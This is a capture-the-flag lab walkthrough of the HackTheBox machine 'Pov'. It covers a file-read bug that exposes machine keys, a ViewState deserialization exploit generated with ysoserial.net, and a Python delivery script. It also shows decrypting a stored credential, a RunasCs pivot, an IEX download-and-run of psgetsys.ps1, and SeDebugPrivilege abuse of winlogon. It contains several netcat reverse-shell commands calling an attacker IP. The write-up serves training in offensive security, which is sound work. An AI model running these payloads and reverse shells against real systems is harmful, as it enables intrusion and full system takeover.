Pov – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
![]()
Summary Link to heading
Pov is a medium Windows machine from HackTheBox. After performing sub-domains scans, we find a dev virtual host for the available webserver. This new site, that seems like a blog, allows us to download a portfolio PDF. Analyzing how the server provides this file, we find it uses View State. After some research, we use YSoSerial.Net tool to generate a payload and connect to the victim machine. Once inside the victim machine, we are able to find credentials for another user called alaading. We internally pivot to this user. This new user has the SeDebugPrivilege disabled, but can be enabled using different tools. Once enabled, can use it to “hijack” a priviledged process and fully take control of the victim machine.
User Link to heading
Starting with a Nmap scan shows only 1 port open: 80 HTTP:
❯ sudo nmap -sVC -p80 10.10.11.251 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 18:45 -04
Nmap scan report for 10.10.11.251
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds
where we can see we are against a Microsoft Internet Information Services (Microsoft IIS) web server.
Visiting the site http://10.10.11.251 (where 10.10.11.251 is the target IP address) shows a simple website:

The site presents a project about cybersecurity. However, many of the buttons there do not work.
Since we cannot interact with the page, I will start looking for directories applying a Brute Force Directory Listing with Gobuster but got nothing.
At this point I will start searching for subdomains. For this, first add 10.10.11.251 with the domain pov.htb, since pov.htb is presented as the website name at the very bottom of the webpage (and as http-title from Nmap scan). We do this running:
❯ echo '10.10.11.251 pov.htb' | sudo tee -a /etc/hosts
Once added the domain to our /etc/hosts file, let’s search for subdomains using ffuf:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fl 234
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pov.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 234
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 158ms]
:: Progress: [4989/4989] :: Job [1/1] :: 260 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
where we find 1 subdomain: dev.pov.htb. So I add this subdomain to my /etc/hosts file, so now it looks like:
❯ cat /etc/hosts | tail -n 1
10.10.11.251 pov.htb dev.pov.htb
Now that we have added this site, we can visit it. First I check it with cURL:
❯ curl -s http://dev.pov.htb
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>
where we see that we are redirected to http://dev.pov.htb/portfolio
Visiting http://dev.pov.htb/portfolio shows another webpage:

Scrolling down in this page, it allows us to download a PDF file that is the CV from the designer:

If we download this CV it apparently is a normal CV:
I note that when I put my mouse over the download button (but not clicking on it) it calls a JavaScript function called __doPostBack. Looking at the source code from the page the function looks like:
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
where it is calling some variables eventTarget and eventArguent to execute the action.
To check what happens when we click on Download CV button, I will start a Burpsuite session and intercept the request when we click on Download CV button. If we do this we get the following:

where I can see the HTTP request:
POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin: http://dev.pov.htb
DNT: 1
Connection: close
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=pq4lVre5C%2BeE0zeQ7GhEylpWd60Dp5RKMQDIZjOnuFnsE4TMwTIgBobkoGJk2n3eD%2F2aWP0l4Ap2cIh98d8PLk%2Fi2uk%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=19foRXLpnWS5AHjpvopq9vbMZW8BAnmzZPMqWj3tx2KqbqPBU3OR1570e0DW5PuIIzjYQMCqfhlGC5NDM5NDlF1IPnamA%2BAJt5iU5ftodSZfiggU20q7HXkcXH7trj%2FIh8IJqw%3D%3D&file=cv.pdf
Based on the arguments the server is using View State
View State is the method to preserve the Value of the Page and Controls between round trips. It is a Page-Level State Management technique. View State is turned on by default and normally serializes the data in every control on the page regardless of whether it is actually used during a post-backHere I note that is is calling, with the parameter file, the file cv.pdf.
We could try to manipulate what file is being called. So, I send the request to Repeater in Burpsuite (Ctrl+R) and change the file value where, eventually -and after playing with some files-, changing cv.pdf to /web.config works.

where we get the response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 May 2024 23:17:09 GMT
Connection: close
Content-Length: 866
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
HackTricks offers a good way to exploit ViewState mechanism. We will need YSoSerial.Net (which can be obtained from its Github repository) and pass it to a Virtual Machine with Windows. Once there, we run the command:
C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<Command Here>" --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionkey="<DescriptionKeyHere>" --validationalg="SHA1" --validationkey="<ValidationKeyHere>"
In my case, I go to Reverse Shell Generator (https://www.revshells.com/), go to PowerShell #3 (Base64), put my attacker IP and listening port (10.10.16.2 as my attacker IP and 443 as the listening port in my case). Then, on the Windows VM, run YSoSerial.Net with the proper command as explained above:
C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU<SNIP>HMAZQAoACkA"
Running, this, in my case, generates the following payload:
7OOGcG4TMXWXqCm9Qv4r%2BmtOJ2tPkHx2Cci8xMAorxYGxhDxmwf1qyLMtlPssodM%2BWwRa6cAQkCUqW%2FE%2BjOi3MLYuIf1Qg%2FNAD0bYrc1RGCxEAka%2FRxLC%2BXHNNkPtH9Cwffrc2nvNKc0v69%2BLzGAoJjElBNoxjDltsFUyhP%2FYWFkXPUDD3%2Bf1HU%2FCXj9Ayk3HSxzEfobLY4FxxJzBw8b1h%2F%2Ftz1ePGB86ngU9eLDN1VxvVd573PJPQ%2FJTI4rhOMBVl9iMEqDIpM9%2F3%2BrFFS7G0Yhkrltw%2BNFfC1oplYvvPMWhQFIdoKSFanWoHkYaP%2Fw4F1IGWXSq1u7PQLvpmg5P1evLtSDcUfWNLUiS%2Fd0XS9xP8BkBQuola45DF9iyy5MCb2BYbUswLVqlMt9YcsICABqK36TCHFK0wRK%2BBtX%2Fh2pHg8u5J8J4wdi0umjNQlgH2WhsmqA35LUcC5NfJLowO00Z%2FkU2m3PQOzOnmkZTjCg0eHVE4LUceMJ2NOhf%2B17gjcc4WD55%2Bvqt7zO6klqv8khzoEcxpr7zNlaFhfcJZMFpQ8dWVNs9j%2Fa1pbk4bzQ3CTWMPRGw%2BRl7V%2BTxL3O0G09hh9ZloR41ebpQBWY9bGB47gu2fxxdmnhFKpPFmEOD8HCdWO6j1lekEKRENGQWANtPX63fsXMSNAh4jP1RXFUHyV9LiJuDpcNXWkkHaddlZ5HuX8kZ0UT0MtJYVF18%2F21mnduTNEZrFk1tL4IVKOQa%2BUNJdTiZI0DfD%2FEdbAJecS93uj3VkrkmwzJF3ekGyHHDlgZ%2FBADw8LNhbEEd2MvlSKQmOLcGTsigUaCWJDGW9kGHSrXE5tLk3mm1JpcyxltH2VuxEwZ9A%2B%2BWYLHkMG4dmAmmEkiO0hGFRl4D4e1Jm%2BqLmIkKj0YAcbUnJdfuY7MVPxjplDiSpPzhxztgHVCWACgQKargy8zxxmclFjLDF5LJkeAcS27GbJS9swK0OgloqiMsk1Iv1zuFkvQOtDlNvFBtb8zkwAvGN%2FLxCVCYdWiWRZaUNHQLldDyMALNAUKXtS9zyeXG7O2iXW3VVSkx1nu4Ma2BcwUdWZr9D0xIqvu8UW3LwAORDi5A5y6P1q80lWv1qJF4IjXWtd6Yz7LWtnop3Ma8t5LH3qe99gOeVnohOvcXv7KflxLPFZ1ahekiCSRjRmBlgdyeidOAkg7esosKnp%2FXEfjuDhMravbOlUQCW8XlhYHsH34KB6Vps1a5%2BtyZenRRGt9r9DHRiQz0W%2FgZFkUk%2FKzJeJtQGM0vRPvF87jgpHzUcrvuFYRyMM1cdEg1rtMMuXqiIjQUoHM5AOBlBYxUws37qY6CUDfCis7X%2BeuJhqmlJL9CXFdB1%2BhVmZ9HIfWVIwwtfmiqRZ6DCnsR5LE73I%2FptBV2mInZMVL4YFh4WUonC9seAC7%2BWil8K8dFigrefYZfFZMGx4sI9jM8jKbue%2FpdPUUgeShKJQLx8PgqyK3PmuYcSqYfKo1H9K%2Buuo3ZlJsIHRu253L8ZMlSd6DrPfLX%2Ft8yxMpp06kgS2Yr6KjThBCbXDAVoci0ZVpez5ix%2FdBNIZIGv%2BjelNgxAIB6x%2BoTGYf4c0Ffryrvcl2CrjLpkSnU7kqoOTkZgUugUeEDAWyU3b0oHZ1JkqHBHqtc0gVA4QkDdDvGvVhcIMGy3iXVeU9A8LrJZYlIbdAuaNbnSI28k8lu5w2aDmmZEBiKqJXrd%2B7aQvSqYlwxl02BKB0LzhAmMrBCvP8rB%2BHugTGuLWJ3jxMZuJWek9%2FGvz4mrfzoTeWu6UfyHKkUaVNcyp1ndMr9ICmtPUNmBWTXeJg5T%2Bl98qNzi16pD%2F%2BnrCLzmf5vzt3iYOiwP7r8mFpSmT2uPMS2YMZ%2F5FaQLl0bfOoILeH5TMkfHDLKIKIC%2BXXHkTEiqL3areyGVlH1mVavzMeb2Zd7W%2Fe33v%2BjBHuw1pzTbWbsEtvrbzltA9FAVtFtBGXQBZvvfB%2BX6CG8eB0MDWpAVtRS%2BwVqCRVe2i78uIAMyzYhtkEiveq8GLyuYAu49p%2BpnQAsfekWhGFc8k73%2BiulLV%2Bk4xSLjq56DYRSCSBaq8XoLPT9ZOV0wAj%2FM9jNiH3fTN4bLnqC6ETl7g2L%2FSjRmbF9D6e%2F32g%2BLPWwweH%2FmHUCcQ1L254%2BCGZXhf4T4g%2B4t2AETja6F918YMMJk1TVLxVpPeDdPx4F8bAJL3%2FDQ7EQ%2BWPNJFT6%2B4mtJkn%2Fo1XcoAM7E4QzVg7nDOwr2L5mBHd02ykqY%2BUreJkkF0kWvDvaEJiTgF3v1mYw59agZStKYxv9VMBfJ%2BMiORT8Gh9iqiGLAFoOwbcQVoyGDT122ACwgGfmgQg6lcmkTuLECTa0QjlELrG76NUJi6dFb9%2FbqH6U%2F%2BFD9l8JYbFNdsVZQKfi%2FH68zKNdiUE31kuG5E64mHS8z2dv9v%2Bza83go5WyIh2EJQ88kTy4CKhOCfeSHqqybftpJIb2hSvSGR6Rf3j0tY3AQx9GtaMgyThDDvUIihPILyd5DTZnDSY1nSQMFeuX50AlMeqwIzPLFmXCuN9vy0W1LuLjnzMxdFblI6qxEIUq9HzPQKGTHjepmxx%2Fddt7IGu9bBeoqW6k2oHrGQEGgKa3KHyE8lWGxWAViFZYGlY9YtMq5TyLgn%2BnUZxG8d6G3ePE0bI2%2BYDvCRH69ofD%2FjxALK4UUCKGwP3QGLO1YmFKx0Tk3eWT4vx%2BiWktLDXVEokMBFZXFopuZQBRP12Q7oDPmRQtPRoUNxU3w0RsHjEDIzU5fQpfdPm1KrBQhJt1NVzT7yHBrSg8vujiBjgozskvCrPg75e1dNMmVDc7d3xrHoiCmlaACrxM%2B%2BJu1PcnTNtQaRXD3zk78Lwh6ZqRjof4V%2BiKKDC2o6D9klArbLo8HBx2XYedv59oL5v%2B6uWiDtiU%2FHw5ohtAt18fmb56mfKbWQWr%2Bo7xHh4eTCFDuyamAvcfLk0B9JAdQVRHAO5M8FVTc6siKA2F0Xxd8yJpS4fyU8b5bzildMftaIMGpWRavQXsUVEeuKZnCI6WNDurxx2uvTreAdCnVVFx7gOfRpHInywP2xGbwRrugQFhS54faF0Kw8N%2FHg9i4xhljPrN0JmCj2ObCMa%2Bne1r5qYiJSyd3DpDJB%2FKJP5PuP7BrK49GrlgMUxKHNplW8bcdzkoQ6onHJKbsaV7K24vOxkakqwyJxlGrS2%2Byua7RXEmB5m0dYkTJxiGz45Lxdp2u6bLPXG6ltFQKV%2BljKXzVdvrJ%2FRUAJEZKlf3aJ%2Bx5aEfLwOSOSZPpHTQeFVm5TDoE%2FHTshADXEMNQ%2Bu1vZjAV4WoAmUOAoWMFEc%2FY3UrDV%2Bkql6VOEBaE%2BVbuHNNK72buVn0aFRL%2BjmxyZjXZ%2Byk7hn9%2FNcgMzzToGTVJKUEVS%2B%2BYuDhvQJYt9SfFvwNjCb9thd7hNSZFrJii1vKS9nN1%2BIVu0irMn82WwAA2iAEQj%2FtOHOKLyaRYHv9yka9dX6bfxMV%2BuR4V%2F6cEI0N1zoHF1lLd8IuS%2BUhADhFGL2o%2BluhluuM%2FVW%2FpJn63vNIqcx1f%2FHwY%2BtCm0jBKVHFiiY%2FihEDQG5xQczaYhyqK575SzKYoyS5b5ky5LQI%2Bo3eFoM1ABvQzxdsP4LslZ57aaJUaNky4llWmW%2F785NadYr0n7Btv53Q84XI9cQSGg%2F58jCBOEm9248dpSUy2AZR0NwHm5b908ftGS6wtth1Ue3i4etopiFLDer4eMfnp%2BVq6BnM5XMZXOYFm4oVxOUkUJ3nHXkTqPMOvqHS3ftWC%2FOlRvG2j6%2Bnt3kn610sl0FcOo63daLKi%2BEpwwuY8H6B8knKuc5snacPkA4lPXDk9cGjVwmSsfaMuwtS9rJ7T2JqxykW7ZJobYI%2FGEQVvAlYmYbGoZRzr5vh6yPhVBtAoW5JyXtRO%2BQnUwmORRoQlBO1yF7sYvWid6GdSdN2gbLdh7uxS8W6QCLxhyuSh8I6zWOeWdjwqDyjCs1fcM5jSII3hQNZjpKBj0y7FeNfvKDpidq3jDjksHz7E3CDsl4pyiExI3uf9xhHjzQZbKDnVC%2ByI794yf8gQLNyZfqcxfDY3LbDA%2F0adHKFSe6vmDPOMyXkrzoSYkh1AhWwH4anB9hOnqcwg3pOaOaHP0ZqCWooA4%2FbsHeQMlNNPWoZuCzCDLB5DbRnS1b7T9LUlU0TDu2GBOw5HJXFXqusgdu98i%2FtE8yKTIzSQFdiLtT2miZtOKYe8TTc5i0%2FZBzxjdkH4zSzjF81PNX8lbPYQJUArQ6yymMPOIh0wu%2FFfTR8XoydzYfhcn%2FKSc2dkQfepoYVh%2Fe0HQf9Wf5EbicBXF2ZumcyUROd5%2Fj5kWNXn4BG74kk19hU9lS88jqnaCOtithxUcth5BVVNQd89iRxjEiNxyW2o7aIXMWzTMcoOu9vdIM7YzP%2BpaUxnvQFTh%2FxqRFjUy2rvSszjn%2FYK5LYpLctP3ROO%2BppxXoN7PTBOZrCSfM79TShqek%2BcOTBRpb%2Feivb0l2cvkVP1DrsiheoWVBkGFTgFKId6plAULSOsoHzRIqOPlFYqjvPlRadxmHixQwYEYbaICuPR8ZAMeWn%2BHo5GmgYmHefcXPFBY%2B3WmnFFs0dGR2DAOqGnGb%2FGRcb05n5MKsN9mbM5yU58PmbGkUt86j21V545LWRq9W%2BsFqYRkVPpUST8gPuGpUT216m0%2FcmO9eSfbwDgzEFvIdZMMF%2BRXql%2FB9HZZu8KQUsW%2Fbwz%2F7nAhsfjSiWRwzOdSzNZoIua65qphY1N8IYU%2BeNmdLUzG0LGT%2FiF4lF53FRbwMOuFwtv0ehw9WqOUWo7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE
Note that this payload will be different for your machine since the IP address will change.
Now, we have 2 options:
- Use
Burpsuite, intercept the request as we have done when we clicked onDownload CVand pass as__VIEWSTATEparameter the payload (as was explained at HackTricks) - Make a simple
Pythonscript that sends this data, but via console. So if we lose the connection for any reason we can recover the connection in a quicker way.
import requests
import argparse
import sys
import urllib.parse
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description="A simple argument parser example.")
# Add arguments
parser.add_argument('-u', '--url', type=str, help="Url to make POST request to. Example: http://dev.example.htb/example/", required=True)
parser.add_argument('-c', '--command', type=str, help='ViewState command', required=True)
return parser.parse_args()
def make_POST_request(url: str, command: str)->None:
generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
payload = {"__EVENTTARGET": "download",
"__EVENTARGUMENT": '',
"__VIEWSTATE": urllib.parse.unquote(command),
"__VIEWSTATEGENERATOR": "8E0F0FA3",
"__EVENTVALIDATION": "pGfjsostEYtFuRQ+WLNYLVAVMkGFgPjb4CDyPOQ+k20Bf6VSQiuoaYE7iH2XNLMQRiPHNeCRYzI/Gxbh1N4NVUaITnLyalHjhxMVG+ZsotApeeHvWBirBzUW5IHovXP985Kdnw==",
"file": "cv.pdf"}
r = requests.post(url, headers=generic_headers, data=payload, verify=False)
if r.status_code != 200:
print(f"[!] Could not execute the payload. Code status {r.status_code!r}")
sys.exit(1)
print("[*] Payload succesfully executed.")
return
def main()->None:
# Get user arguments
args = parse_arguments()
# Make the malicious request
make_POST_request(args.url, args.command)
if __name__ == "__main__":
main()
so I run:
❯ python3 request_server_exploit.py --url 'http://dev.pov.htb/portfolio/' --command '7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE'
and in my netcat listener I get a connection as sfitz user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49673
whoami
pov\sfitz
At C:\Users\sfitz\Documents I find an interesting file:
PS C:\windows\system32\inetsrv> dir C:\Users\sfitz\Documents
Directory: C:\Users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
and checking the content of this file connection.xml we have:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
From this credential file we can extract its content following instructions from HackTricks:
PS C:\windows\system32\inetsrv> $user = "alaading"
PS C:\windows\system32\inetsrv> $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" | ConvertTo-SecureString
PS C:\windows\system32\inetsrv> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)
PS C:\windows\system32\inetsrv> $cred.GetNetWorkCredential() | fl
UserName : alaading
Password : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain :
where we have credentials: alaading:f8gQ8fynP44ek1m3
Since we do not have any available services/ports open besides HTTP on port 80, we will attempt to pivot to alaading user inside the machine. For this, we pass a netcat binary for Windows and RunasCs (that can be downloaded from its Github repository) and send to my machine a CMD reverse shell as user alaading. For this we start a temporal Python HTTP server on port 8000:
❯ ls && python3 -m http.server 8000
nc64.exe RunasCs.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and in the target machine, download the files:
PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe
PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe
PS C:\Users\sfitz\Documents> dir C:\Users\Public\Downloads
Directory: C:\Users\Public\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/15/2024 8:18 PM 45272 nc.exe
-a---- 5/15/2024 8:22 PM 51712 runascs.exe
Once all the files has been transferred, run netcat as user alaading using RunasCs to send us a CMD. Before this start another netcat listener on port 443 in our attacker machine:
❯ rlwrap -cAr nc -lvnp 443
and in the victim machine, run:
PS C:\Users\sfitz\Documents> C:\Users\Public\Downloads\runascs.exe alaading f8gQ8fynP44ek1m3 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac
No output received from the process.
We then get a shell as alaading user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
pov\alaading
where we can finally get the flag from user alaading from this user’s Desktop.
NT Authority/System - Administrator Link to heading
Looking at alaading privileges:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeDebugPrivilege could be interesting. However, it is disabled.
First, I try to use FullPowers to enable it, but failed. Then, following suggestions from this blog, we need to download psgetsys.ps1. Once downloaded, in the target machine I pass from CMD to a Powershell simply running:
C:\Windows\system32> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
and then, after starting a Python HTTP server on port 8000 where psgetsys.ps1 is located (python3 -m http.server 8000), I import the module from my machine:
PS C:\Windows\system32> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')
Then, following the blog instructions we run:
PS C:\Windows\system32> Get-Process winlogon
Get-Process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
255 12 2652 16404 0.20 552 1 winlogon
where in this case the Id is the interesting stuff, in this case it is 552 (it might slighlty different in your case).
After running this command we see that SeDebugPrivilege is enabled:
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
However, if I change back to a CMD (exit from the Powershell session) the permission SeDebugPrivilege appears as Disabled again. So, from this Powershell console with all the privileges, I send a new reverse shell with CMD to another netcat listener:
PS C:\Users\Public\Downloads> cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe
cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe
and now I got full privileges, but now on a CMD:
❯ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
I have to say that from the full-privileged Powershell session I tried to use psgetsys.ps1 to get a shell, but nothing happens:
PS C:\Users\Public\Downloads> import-module .\psgetsys.ps1
PS C:\Users\Public\Downloads> ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe...False - pid: 0 - Last error: 2
So I go back to HackTricks and they show another Github repository called ‘SeDebugPrivilege-Exploit’. So I download it from its releases, pass the .exe file to the victim machine and then, from the full-privilege CMD, -and after starting another netcat listener on port 4444- run it using the id from winlogon previosuly found (552 in my case):
C:\Users\Public\Downloads>.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
pid= 552
[+] New process is created successfully.
|-> PID : 2996
|-> TID : 3456
where I get another shell:
❯ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>
the “buggy” thing of this shell is that some commands do not show output, such as whoami:
C:\Users\Public\Downloads>whoami
whoami
C:\Users\Public\Downloads>
Nevertheless, I note that I can read the Administrator flag, so we have a shell with a full privilege user:
C:\Users\Public>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
853<SNIP>
and that’s it!
~Happy Hacking